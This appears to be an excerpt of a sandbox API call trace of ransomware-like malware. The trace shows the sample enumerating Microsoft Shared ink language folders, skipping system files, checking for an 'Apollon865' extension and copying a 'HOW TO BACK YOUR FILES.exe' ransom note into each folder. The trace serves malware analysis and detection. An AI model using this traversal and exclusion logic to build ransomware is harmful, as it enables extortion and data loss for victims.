	[0076.618] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45bdf490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45bdf490, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.618] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.618] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.618] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.618] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.618] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45bdf490, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45bdf490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.618] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.618] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0076.618] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.618] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0076.618] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1
	[0076.618] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1
	[0076.618] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="windows") returned -1
	[0076.618] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1
	[0076.618] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="temp") returned 1
	[0076.618] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="pagefile.sys") returned 1
	[0076.618] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot") returned 1
	[0076.618] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ids.txt") returned 1
	[0076.618] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1
	[0076.618] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="perflogs") returned 1
	[0076.618] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="MSBuild") returned 1
	[0076.618] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*") returned 58
	[0076.618] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0076.618] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.619] lstrlenW (lpString="Apollon865") returned 10
	[0076.619] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0076.619] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL"
	[0076.619] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x592040 | out: hHeap=0x580000) returned 1
	[0076.619] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0076.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL") returned 56
	[0076.619] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL"
	[0076.619] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.619] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.623] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.623] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45bdf490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45bdf490, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.623] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.623] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.623] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.623] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45bdf490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45bdf490, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.623] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.623] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.623] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.624] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.624] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45bdf490, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45bdf490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.624] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.624] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0076.624] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.624] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0076.624] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1
	[0076.624] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1
	[0076.624] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="windows") returned -1
	[0076.624] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1
	[0076.624] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="temp") returned 1
	[0076.624] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="pagefile.sys") returned 1
	[0076.624] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot") returned 1
	[0076.624] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ids.txt") returned 1
	[0076.624] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1
	[0076.624] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="perflogs") returned 1
	[0076.624] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="MSBuild") returned 1
	[0076.624] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*") returned 58
	[0076.624] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0076.624] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.624] lstrlenW (lpString="Apollon865") returned 10
	[0076.624] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0076.624] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL"
	[0076.624] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591fc0 | out: hHeap=0x580000) returned 1
	[0076.624] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0076.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL") returned 56
	[0076.624] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL"
	[0076.624] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.624] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.634] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.634] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45c055f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45c055f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.634] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.634] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.634] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.634] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45c055f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45c055f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.634] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.634] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.634] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.634] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.634] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c055f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45c055f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.634] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.634] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0076.634] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.634] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0076.634] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1
	[0076.635] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1
	[0076.635] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="windows") returned -1
	[0076.635] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1
	[0076.635] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="temp") returned 1
	[0076.635] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="pagefile.sys") returned 1
	[0076.635] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot") returned 1
	[0076.635] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ids.txt") returned 1
	[0076.635] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1
	[0076.635] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="perflogs") returned 1
	[0076.635] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="MSBuild") returned 1
	[0076.635] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*") returned 58
	[0076.635] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0076.635] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.635] lstrlenW (lpString="Apollon865") returned 10
	[0076.635] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0076.635] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO"
	[0076.635] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591f40 | out: hHeap=0x580000) returned 1
	[0076.635] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0076.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO") returned 56
	[0076.635] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO"
	[0076.635] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.635] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.642] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.642] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45c055f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45c055f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.642] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.642] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.642] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.642] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45c055f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45c055f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.642] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.642] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.642] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.642] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.642] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c055f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45c055f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.642] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.642] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0076.642] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.642] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0076.642] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1
	[0076.642] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1
	[0076.642] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="windows") returned -1
	[0076.642] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1
	[0076.642] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="temp") returned 1
	[0076.642] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="pagefile.sys") returned 1
	[0076.642] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot") returned 1
	[0076.642] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ids.txt") returned 1
	[0076.642] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1
	[0076.642] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="perflogs") returned 1
	[0076.643] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="MSBuild") returned 1
	[0076.643] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*") returned 58
	[0076.643] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0076.643] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.643] lstrlenW (lpString="Apollon865") returned 10
	[0076.643] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0076.643] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV"
	[0076.643] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591ec0 | out: hHeap=0x580000) returned 1
	[0076.643] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd48 | out: hHeap=0x580000) returned 1
	[0076.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV") returned 56
	[0076.643] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV"
	[0076.643] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.643] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.647] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.647] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45c2b750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45c2b750, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.648] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.648] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.648] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.648] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45c2b750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45c2b750, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.648] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.648] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.648] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.648] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.648] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c2b750, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45c2b750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.648] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
